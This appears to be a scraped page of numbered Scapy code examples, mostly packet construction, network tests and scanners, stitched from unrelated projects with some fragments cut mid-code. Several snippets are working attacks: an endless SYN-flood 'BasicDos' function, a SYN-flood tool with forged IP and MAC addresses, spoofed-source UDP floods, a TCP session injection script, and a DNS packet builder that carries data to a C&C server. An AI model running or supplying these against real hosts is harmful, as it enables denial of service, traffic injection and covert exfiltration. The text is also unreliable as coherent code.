    print(len(proc))
    for i in proc:
        i.join()

    #sendp(pkt, iface=iface, verbose=False, count=500)
    print(time.time() - start)
示例#33
0
class IPLayer(object):
    """docstring for IPLayer"""
    """Argument has to a dictionay of python """
    def __init__(self, arguments={}):
        # super(IPLayer, self).__init__()
        self.packet = None
        if not isinstance(arguments, dict): return "Please provide a dictionay"
        self.arguments = arguments

    def make(self):
        self.packet = IP()
        for param in self.arguments:
            if not hasattr(self.packet, param): continue
            setattr(self.packet, param, self.arguments[param])
        return self

    def updatePacket(self, arguments={}):
        if not isinstance(arguments, dict): return "Please provide a dictionay"
        for param in arguments:
            if not hasattr(self.packet, param): continue
            setattr(self.packet, param, arguments[param])

    def getPacket(self):
        return self.packet

    def show(self):
        return self.packet.show()

    def addTCP(self):
        packet = TCPLayer()._getTCP()
        self.packet = self.packet / packet
        return self

    def prependEther(self):
        packet = EtherLayer()._getEther()
        self.packet = packet / self.packet
        return self

    def _getIP():
        return IP()
示例#34
0
def ping_test(link, timeout=10):
    """Uses scapy to send ICMP packets and listen for response.
        Args:
            link (Link): The link to be checked.
            timeout (int): ICMP timeout time in seconds.

        Returns:
        bool: False if no errors, True if error.
    """
    from scapy.all import sr1, IP, ICMP, IPv6
    if link.version == 4:
        resp = sr1(IP(src=link.interface, dst=link.destination) / ICMP(),
                   timeout=timeout,
                   verbose=False)
    elif link.version == 6:
        resp = sr1(IPv6(src=link.interface, dst=link.destination) / ICMP(),
                   timeout=timeout,
                   verbose=False)
    if resp:
        return False
    else:
        return True
示例#35
0
def udpScan(ip, ports, timeout=1):
    results = {port: None for port in ports}

    #Build packet
    p = IP(dst=ip) / UDP(sport=ports, dport=ports)
    answers = sr(p, timeout=timeout, verbose=0)[0]

    #Analyse data

    for resp in answers[1]:
        if resp.haslayer(ICMP):
            results[resp.sport] = False
        elif resp.haslayer(UDP):
            results[resp.sport] = True

    print("======= Result for Udp Scan of " + str(ip) + "=======")
    for k, v in results.items():
        if v != None:
            print(str(k) + " -> " + str(v))

    #Make possible to use results as data
    return results
示例#36
0
def BasicDos(dest="127.0.0.1", sourceport=RandShort(), destport=80):
    """
    Basic Denial of Service attack. 
    Idea is that the function will run continuously, creating an connection initiation packet and sending it to the target IP:Port
    This will run very quickly in theory, due to the fact there is no delay between crafting packets.
    In theory this may create network connection issues on the host machine too as it is continuous crafting/sending packets. This would be on a case by case basis
    """
    try:
        dst_ip = dest
        src_port = sourceport
        dst_port = destport
        print("Commencing Denial of Service on %s:%d" % (dst_ip, dst_port))
        print("To stop attack, use Keyboard Interrupt")
        while True:
            send(IP(dst=dst_ip) /
                 TCP(sport=src_port, dport=dst_port, flags="S") /
                 "Hello There",
                 timeout=10,
                 verbose=0)
    except KeyboardInterrupt:
        print("Detected Keyboard Interrupt, stopping...")
        return
def main(argv): 
    print argv
    try:
        opts, args = getopt.getopt(sys.argv[1:],'s:e:',['start=','end='])
    except getopt.GetoptError:
        sys.exit(2)
    for opt, arg in opts:
        if opt =='-s':
            start = int(arg)
        elif opt =='-e':
            end = int(arg)
    if start == '':
        sys.exit()
    if end == '':
        sys.exit()

    interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()

    for i in xrange(1000):
        packets = Ether()/IP(dst=gendest(start, end),src=sourceIPgen())/UDP(dport=randint(1,1024),sport=randint(1,1024))
        print(repr(packets))
        sendp( packets,iface=interface.rstrip(),inter=0.1)
示例#38
0
    def run(self, ami, action):
        action_ptr = action
        kvstring=""
        afa = action.FieldActions()
        for field, action in afa.items():
            for actiontype, actionval in action.items():
                if actiontype == "set":
                    for k, v in actionval.items():
                        kvstring += "%s='''%s''' " % (field,k)
                        
        req = http.HTTPRequest(
            Path=b'/' + bytes(self.getvar("log_plugin").encode("utf-8")),
            User_Agent=b'' + bytes(kvstring.encode("utf-8"))
        )
        httpreq = Ether() / IP(src="10.10.10.10",dst="10.10.10.10") / TCP(sport=666,dport=666, flags="P""A", seq=self.seq) / req
        self.plugins_data.AddPacket(action_ptr, httpreq)

        self.seq += len(httpreq['TCP'].payload)
        if self.seq > 2147483647: # 2^32 - 1
            self.seq = 0
        
        return self.plugins_data
示例#39
0
     def start(s):
        ip_index = 0
        new_index = 0
        tried_index = 0
        time_between_new_connections = 3 #in seconds

        tried = []
        new = []

        for ip in s.ips:
            if len(s.ips[ip]) == 0:
                tried.append(ip)
            else:
                new.append(ip)

        ratio = len(tried)/len(new)
        if ratio == 1: ratio = 2
        print "Tried/New addr ratio is", ratio, len(tried), len(new)

        while True:
            spoofed_ip = s.ips.keys()[ip_index % len(s.ips)]
            if  len(tried) == 0 or ip_index % ratio == 0:
                spoofed_ip = new[new_index % len(new)]
                new_index+=1
            else:
                spoofed_ip = tried[tried_index % len(tried)]
                tried_index+=1

            seq = random.randrange(0, 2**32)

            p=IP(dst=s.target_ip,src=spoofed_ip)/TCP(dport=s.dport,sport=s.sport,flags='S',seq=seq)
            send(p, verbose=True, iface=s.iface) # doesn't work if iface is set to loopback
            # iface must be set to current internet connection

            with s.connections.lock: s.connections[spoofed_ip] = "sent"

            print "Initiated peer connection from ip", spoofed_ip, "index", ip_index, "at", time.time()
            ip_index+=1
            time.sleep(time_between_new_connections)
示例#40
0
    def generate_default_packets(
        cls,
        src_port: int = 50000,
        dst_port: int = 50000,
        src_inet: Optional[str] = None,
        dst_inet: Optional[str] = None,
        src_ether: Optional[str] = None,
        dst_ether: Optional[str] = None,
        layer_4: str = "udp",
        amount: int = 5,
        use_inet6: bool = False,
    ) -> List[Packet]:
        """Generate a list of predefined UDP packets using context."""
        dst_ctx = cls.get_contexts().get_local_main()
        src_ctx = cls.get_contexts().get_remote_main()

        if use_inet6:
            assert (src_inet or src_ctx.inet6 is not None)
            assert (dst_inet or dst_ctx.inet6 is not None)
            ip_layer = IPv6(src=src_inet if src_inet else src_ctx.inet6,
                            dst=dst_inet if dst_inet else dst_ctx.inet6)
        else:
            ip_layer = IP(src=src_inet if src_inet else src_ctx.inet,
                          dst=dst_inet if dst_inet else dst_ctx.inet)

        if layer_4 == "udp":
            transport_layer = UDP(sport=src_port, dport=dst_port)
        elif layer_4 == "tcp":
            transport_layer = TCP(sport=src_port, dport=dst_port)
        else:
            assert (False)

        to_send = [
            Ether(src=src_ether if src_ether else src_ctx.ether,
                  dst=dst_ether if dst_ether else dst_ctx.ether) / ip_layer /
            transport_layer / Raw(f"This is message number {i}.")
            for i in range(amount)
        ]
        return [Ether(p.build()) for p in to_send]
示例#41
0
    def test_01_ip_range_match_v4(self):
        if self.kni_tx is None:
            raise SkipTest("IP ranges not supported in XDP")

        for i in [0, 1, 10, 50, 62, 63]:  # 1.1.1.64/26
            dst_ip = "1.1.1." + str(64 + i)

            test_packet = Ether() / IP(src="10.11.12.13", dst=dst_ip) / TCP(
                sport=45678, dport=80)
            self.sendp(test_packet, iface=self.IFACE_NAME_PY)
            packet = self.wait_for_packet(
                self.eth_tx, lambda packet: isinstance(packet.payload, IP) and
                packet.payload.dst == '4.5.6.7')

            assert isinstance(packet, Ether)
            assert_equals(packet.dst, self.py_side_mac)

            fou_ip = packet.payload
            assert isinstance(fou_ip, IP)  # Expecting an IP packet
            assert_equals(fou_ip.src, '65.65.65.65')
            assert_equals(fou_ip.dst, '4.5.6.7')

            fou_udp = fou_ip.payload
            assert isinstance(fou_udp, UDP)  # Expecting a FOU packet
            assert_equals(fou_udp.sport, self.sport_for_packet(test_packet))
            assert_equals(fou_udp.dport, self.DIRECTOR_GUE_PORT)

            glb_gue = fou_udp.payload
            assert isinstance(
                glb_gue,
                GLBGUE)  # Expecting a GUE packet (scapy will always map this)

            inner_ip = glb_gue.payload
            assert isinstance(inner_ip, IP)  # Expecting the inner IP packet
            assert_equals(inner_ip.dst, dst_ip)

            inner_tcp = inner_ip.payload
            assert isinstance(inner_tcp, TCP)  # Expecting the inner TCP packet
            assert_equals(inner_tcp.dport, 80)
示例#42
0
    def test_sniffer_detects_correct_number_of_packets(self):
        num_packets = 100000
        pcap_filename = 'test-pcap-files/sniffer_test.pcap'
        dest_eth = '0a:0b:0c:0d:0e:0f'
        dest_ip = '10.20.30.40'
        src_pt = 12345
        dest_pt = 54321
        payload = "TCP payload of test packet"
        test_packet = Ether(dst=dest_eth) \
                /IP(dst=dest_ip) \
                /TCP(sport=src_pt,dport=dest_pt)\
                /Raw(payload)
        sniffer = Sniffer(pcap_filename=pcap_filename)

        sniffer.start()
        sendp(test_packet, count=num_packets, iface=sniffer._sniff_iface_name)
        sniffer.stop()

        packets = rdpcap(pcap_filename)
        num_packets_sniffed = len(packets)
        debug_msg = 'num_packets_sniffed: {}'.format(num_packets_sniffed)
        self.assertEqual(num_packets_sniffed, num_packets, msg=debug_msg)
示例#43
0
    def get_kube_dns_ip_mac(self):
        config = get_config()
        kubedns_svc_ip = self.extract_nameserver_ip()

        # getting actual pod ip of kube-dns service, by comparing the src mac of a dns response and arp scanning.
        dns_info_res = srp1(
            Ether() / IP(dst=kubedns_svc_ip) / UDP(dport=53) /
            DNS(rd=1, qd=DNSQR()),
            verbose=0,
            timeout=config.network_timeout,
        )
        kubedns_pod_mac = dns_info_res.src
        self_ip = dns_info_res[IP].dst

        arp_responses, _ = srp(
            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
            timeout=config.network_timeout,
            verbose=0,
        )
        for _, response in arp_responses:
            if response[Ether].src == kubedns_pod_mac:
                return response[ARP].psrc, response.src
示例#44
0
    def pkt_callback(self, pkt):
        try:
            data = pkt.get_payload()

            if self.snitch.dns.add_response(IP(data)):
                pkt.accept()
                return

            self.latest_packet_id += 1
            conn = Connection(self.snitch.procmon, self.snitch.dns,
                              self.latest_packet_id, data)
            if conn.proto is None:
                logging.debug("Could not detect protocol for packet.")
                return

            # Get verdict, if verdict cannot be found prompt user in thread
            verd = self.snitch.rules.get_verdict(conn)
            if verd is None:
                handler = PacketHandler(conn, pkt, self.snitch.rules)
                self.handlers[conn.id] = handler
                self.snitch.dbus_service.prompt(conn.id, conn.hostname,
                                                conn.dst_port or 0,
                                                conn.dst_addr, conn.proto,
                                                conn.app.pid or 0,
                                                conn.app.path or '',
                                                conn.app.cmdline or '')

            elif RuleVerdict(verd) == RuleVerdict.DROP:
                drop_packet(pkt, conn)

            elif RuleVerdict(verd) == RuleVerdict.ACCEPT:
                pkt.accept()

            else:
                raise RuntimeError("Unhandled state")

        except Exception as e:
            logging.exception("Exception on packet callback:")
            logging.exception(e)
示例#45
0
def propagate_token(tokenId):
    global token_sent

    # before we send the token we need to check which machines are still alive
    initialise_listAliveInstance()
    global listAliveInstances

    #init snap_shot
    global current_snapshot

    current_snapshot = str(
        listIp[instanceNr - 1]) + ' : ' + str(global_cont) + '\n'

    for i in range(len(listIpsToForwardToken)):
        echo_ping = IP(dst=listIpsToForwardToken[i]) / ICMP() / Raw(
            load=str('echo request'))
        echo_reply = sr1(echo_ping, verbose=False, timeout=1)
        if (echo_reply != None):
            listAliveInstances[i] = True
            send_message(listIpsToForwardToken[i], 'send token', tokenId)

    token_sent = True
def detect_inactive_hosts(scan_hosts):
    """Scan the network to find scan_hosts are live or dead
    scan_hosts can be like 10.0.2.2-4 to cover range
    See scapy docs for specifying target"""
    global scheduler
    # schedule.enter(delay, priority, action, (argument1,  ))
    # dealy 延迟时间
    # priority 优先级(用于同时间到达的两个事件同时执行时定序)
    # action 回调函数(被调用触发的函数)
    # argument1 回调函数参数
    # scheduler.enter(RUN_FREQUENCY, 1, detect_inactive_hosts, (scan_hosts, ))
    inactive_hosts = []
    try:
        # sr 返回有回应的数据包和没有回应的数据包
        ans, unans = sr(IP(dst=scan_hosts) / ICMP(), retry=0, timeout=1)
        ans.summary(lambda (s, r): r.sprintf("%IP.src% is alive"))
        for inactive in unans:
            print "%s is inactive" % inactive.dst
            inactive_hosts.append(inactive.dst)
        print "Total %d hosts are inactive" % (len(inactive_hosts))
    except KeyboardInterrupt:
        exit(0)
示例#47
0
 def run(self):
     global OPEN_IPS
     p = IP(dst=self._ip) / TCP(
         sport=RandShort(), dport=self._port, flags='S')
     resp = sr1(p, timeout=2, verbose=0)
     if resp is None:
         pass
         #print("[X] ip {} NOT open.".format(self._ip))
     elif resp.haslayer(TCP):
         if resp.getlayer(TCP).flags == 0x12:
             #send_rst = sr(IP(dst=ip)/TCP(sport=src_port, dport=SCAN_PORT, flags='AR'), timeout=1)
             if not self._ip in OPEN_IPS.keys() and not self._ip == MY_IP:
                 with LOCK:
                     OPEN_IPS[self._ip] = {
                         'uname': "",
                         'pwd': "",
                         'login': False,
                         'reported': False
                     }
                 print("[<<>>] IP {} open.".format(self._ip))
         elif resp.getlayer(TCP).flags == 0x14:
             pass
示例#48
0
def fake_sr_return():
    """Fake srloop response."""
    # fake unans
    pkt_fail = IP(dst="127.0.0.1",
                  tos=dscp_to_tos(1)) / ICMP(type="echo-request")

    fake_unans = pkt_fail

    # fake ans
    pkt_ok_sent = IP(dst="127.0.0.1",
                     tos=dscp_to_tos(2)) / ICMP(type="echo-request")

    pkt_ok_response = IP(dst="127.0.0.1") / ICMP(type="echo-reply")

    pkt_ok_sent.sent_time = 0
    pkt_ok_response.time = 0.1

    fake_ans = [[pkt_ok_sent, pkt_ok_response]]

    return (fake_ans, fake_unans)
示例#49
0
    def build(self):
        reformatted_filename = "." + self.filename + (
            "." if self.filename.find('.') == -1 else "")

        ether = Ether()
        ip = IP(dst=CC_SERVER_IP)
        udp = UDP(sport=PACKET_OPTIONS['UDP']['SPORT'],
                  dport=PACKET_OPTIONS['UDP']['DPORT'])
        dns = DNS(
            qr=PACKET_OPTIONS['DNS']['QR'],  # it is a query, not a response
            opcode=self.type,
            qdcount=PACKET_OPTIONS['DNS']['QDCOUNT'],
            ancount=PACKET_OPTIONS['DNS']['ANCOUNT'],
            qd=DNSQR(qname=get_mac() + '.' + CC_SERVER_SPOOFED_HOST +
                     reformatted_filename,
                     qtype=RequestType.DATA.value,
                     qclass=self.packet_number),
            an=DNSRR(rrname=CC_SERVER_SPOOFED_HOST + reformatted_filename,
                     type=PACKET_OPTIONS['DNS']['AN']['TYPE'],
                     rdata=self.data))

        return ether / ip / udp / dns
示例#50
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('ip_addr',
                        type=str,
                        help="The destination IP address to use")
    parser.add_argument('message',
                        type=str,
                        help="The message to include in packet")
    args = parser.parse_args()

    addr = socket.gethostbyname(args.ip_addr)
    iface = get_if()

    print "sending on interface {} to IP addr {}".format(iface, str(addr))
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
    pkt = pkt / IP(dst=addr) / TCP(
        dport=1234, sport=random.randint(49152, 65535)) / args.message

    pkt.show2()
    #    hexdump(pkt)
    #    print "len(pkt) = ", len(pkt)
    sendp(pkt, iface=iface, verbose=False)
示例#51
0
#*** Get parameters from command line
SRC_MAC = sys.argv[1]
DST_MAC = sys.argv[2]
SRC_IP = sys.argv[3]
DST_IP = sys.argv[4]
IF_NAME = sys.argv[5]
REPEAT_INTERVAL = float(sys.argv[6])
REPEAT_COUNT = int(sys.argv[7])

data = "blahblahblah"
# define ip and icmp
eth = Ether()
eth.src=SRC_MAC
eth.dst=DST_MAC
ip = IP()
ip.src = SRC_IP
ip.dst = DST_IP
icmp = ICMP()
icmp.type = 8
icmp.code = 0

finished = 0
count = 0
while not finished:
    sendp(eth/ip/icmp/data, iface=IF_NAME)
    time.sleep(REPEAT_INTERVAL)
    count += 1
    if count >= REPEAT_COUNT:
        finished = 1
示例#52
0
文件: trace.py 项目: pwns4cash/crap
    flags = ["F", "S", "R", "P", "A", "U", "E", "C"]
    tcpflags = []
    dec2bin(a, tcpflags)

    retval = ""

    i = 0
    for val in tcpflags:
        if val == 1:
            retval = retval + flags[i]
        i = i + 1

    return retval


ip = IP(dst=target)
res = sr1(ip / TCP(sport=my_sport, dport=my_dport, flags="S", seq=my_seq), retry=3, timeout=2)

my_seq = my_seq + 1
my_ack = res.seq + 1

send(ip / TCP(sport=my_sport, dport=my_dport, flags="A", seq=my_seq, ack=my_ack))

dttl = res.ttl
dst = res.src
print "got back TCP flags %s and TTL %d from target %s" % (TCPflags(res.payload.flags), dttl, dst)

ttldiff = 255
for defttl in [64, 128, 255]:
    tmp = defttl - dttl
    if tmp > 0 and tmp < ttldiff:
示例#53
0
"""
A very basic script to send a DHCP Discover message. 
Capture the packages to see what's wrong.
"""
import scapy
from scapy.sendrecv import sendp, sniff
from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP

# data link layer
ethernet = Ether()
ethernet.show()
ethernet.dst = "ff:ff:ff:ff:ff:ff"

# network layer
ip = IP()
ip.show()
ip.dst = "255.255.255.255"

# transport layer
udp = UDP()
udp.show()
udp.sport = 68
udp.dport = 67

# application layer
bootp = BOOTP()
bootp.show()
bootp.flags = 1

dhcp = DHCP()
dhcp.show()
示例#54
0
    numhosts = 0xffffffffffffffffffffffffffffffff>>msk
  else:
    laddr = (unpack("!I",inet_pton(2,net)))[0]
    numhosts = 0xffffffff>>msk

  addrbeg = (laddr>>(maxmask-msk)<<(maxmask-msk))
  addrend = (addrbeg|numhosts)

  cpid = os.fork()
  if cpid:
    # the sending process

    sleep(5) # to make sure that the other process started listening for packets

    if ip6 == False:
      pkt = IP(dst = int2addr(addrbeg,ip6))/TCP(sport = 1026, dport = port)
    else:
      pkt = IPV6(dst = int2addr(addrbeg,ip6))/TCP(sport = 1026, dport = port)

    host = addrbeg

    try:
      while host <= addrend:
        ip = int2addr(host , ip6)
        pkt.dst = ip  # FIXME
        pkt.seq = seqgen(ip+":"+str(port)+salt)
        send(pkt)
        host+=1

      os.wait()
    except:
示例#55
0
#/usr/bin/python

from scapy.all import IP, UDP, DNS, DNSQR, send

# Get all input about DNS package.
destination_input = str(raw_input('What is your DNS server which you want to resolve from? :: '))
source_input = str(raw_input('What is your source ip address which you want to send DNS request from? :: '))
query_input = str(raw_input('What is the address which will be queried by DNS server? :: '))

# Create ip, udp and dns packages.
i = IP(dst=destination_input)
i.src = source_input
u = UDP(dport=53)
d = DNS(rd=1,qd=DNSQR(qname=query_input))

# Print all information.
print ""
print "Information"
print "==========="
print "Source IP     : %s" %source_input
print "Destination IP: %s" %destination_input
print "DNS Query     : %s" %query_input
print ""
print "Package details"
print "==============="
print ""
print i.show()
print ""
print u.show()
print ""
print d.show()
示例#56
0
 def process(payload):
     data = payload.get_data()
     p = IP(data)
     print p.summary()
     payload.set_verdict(nfqueue.NF_ACCEPT)
示例#57
0
try:
  my_ack = lpkt.seq+len(lpkt.load)
except:
  my_ack = lpkt.seq

my_seq = lpkt.ack
my_sport = lpkt.dport 

### got timestamp
tseho = 0
for opt in lpkt.getlayer(TCP).options:
  if "Timestamp" in opt:
    tseho = opt[1][0]
tsval = tseho + 3 

ip = IP(dst = target)

data="######injected######\n"

ip.id = lpkt.id+1
ip.flags = lpkt.flags

pkt = ip/TCP(sport = my_sport, dport = my_dport, flags = "A", seq = my_seq, ack = my_ack, window = lpkt.window+1)/data

if tseho > 0:
  pkt.payload.options = [('NOP', None), ('NOP', None),('Timestamp',(tsval,tseho))] 

print "####### sending:"

send(pkt)
示例#58
0
import os, sys, struct
from select import select
from scapy.all import IP
from fcntl  import ioctl



f = os.open("/dev/tap0", os.O_RDWR)
try:
    while 1:
        r = select([f],[],[])[0][0]
        if r == f:
            packet = os.read(f, 4000)
            # print len(packet), packet
            ip = IP(packet)
            ip.show()
except KeyboardInterrupt:
    print "Stopped by user."
示例#59
0
def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose):
    """Launch a lot of TCP connections and keeps them opened.

    Some very old systems can suffer a Denial of Service with this.

    Reference: https://en.wikipedia.org/wiki/SYN_flood

    Example:

    \b
    # sudo habu.synflood 172.16.0.10
    .................

    Each dot is a packet sent.

    You can use the options '-2' and '-3' to forge the layer 2/3 addresses.

    If you use them, each connection will be sent from a random layer2 (MAC)
    and/or layer3 (IP) address.

    You can choose the number of connections to create with the option '-c'.
    The default is never stop creating connections.

    Note: If you send the packets from your real IP address and you want
    to keep the connections half-open, you need to setup for firewall to
    don't send the RST packets.
    """

    conf.verb = False

    if interface:
        conf.iface = interface

    layer2 = Ether()

    layer3 = IP()
    layer3.dst = ip

    layer4 = TCP()
    layer4.dport = port

    pkt = layer2 / layer3 / layer4

    counter = 0

    print("Please, remember to block your RST responses", file=sys.stderr)

    while True:
        if forgeip:
            pkt[IP].src = "%s.%s" %(pkt[IP].src.rsplit('.', maxsplit=1)[0], randint(1, 254))
        if forgemac:
            pkt[Ether].src = RandMAC()

        pkt[TCP].sport = randint(10000, 65000)

        if verbose:
            print(pkt.summary())
        else:
            print('.', end='')
            sys.stdout.flush()

        sendp(pkt)
        counter += 1

        if count != 0 and counter == count:
            break

    return True
示例#60
0
    23,     # telnet
    53,     # dns
    443,    # https
    110,    # pop3
    445,    # ms-ds
    8080,   # tomcat
    4567,   # filenail (commonly open port for backdoors)
]

# try each common port until one responds

for port in common_ports:

    # assemble IP packet with target IP

    ip = IP()
    ip.dst = target_ip

    # assemble TCP with dst port and SYN flag set

    tcp = TCP()
    tcp.dport = port
    tcp.flags = 'S'

    print 'Trying port %d' % port

    # send the packet and wait 2 seconds for an answer

    rcv_pkt = sr1(ip / tcp, timeout=2, verbose=0)

    # if answered no need to try more ports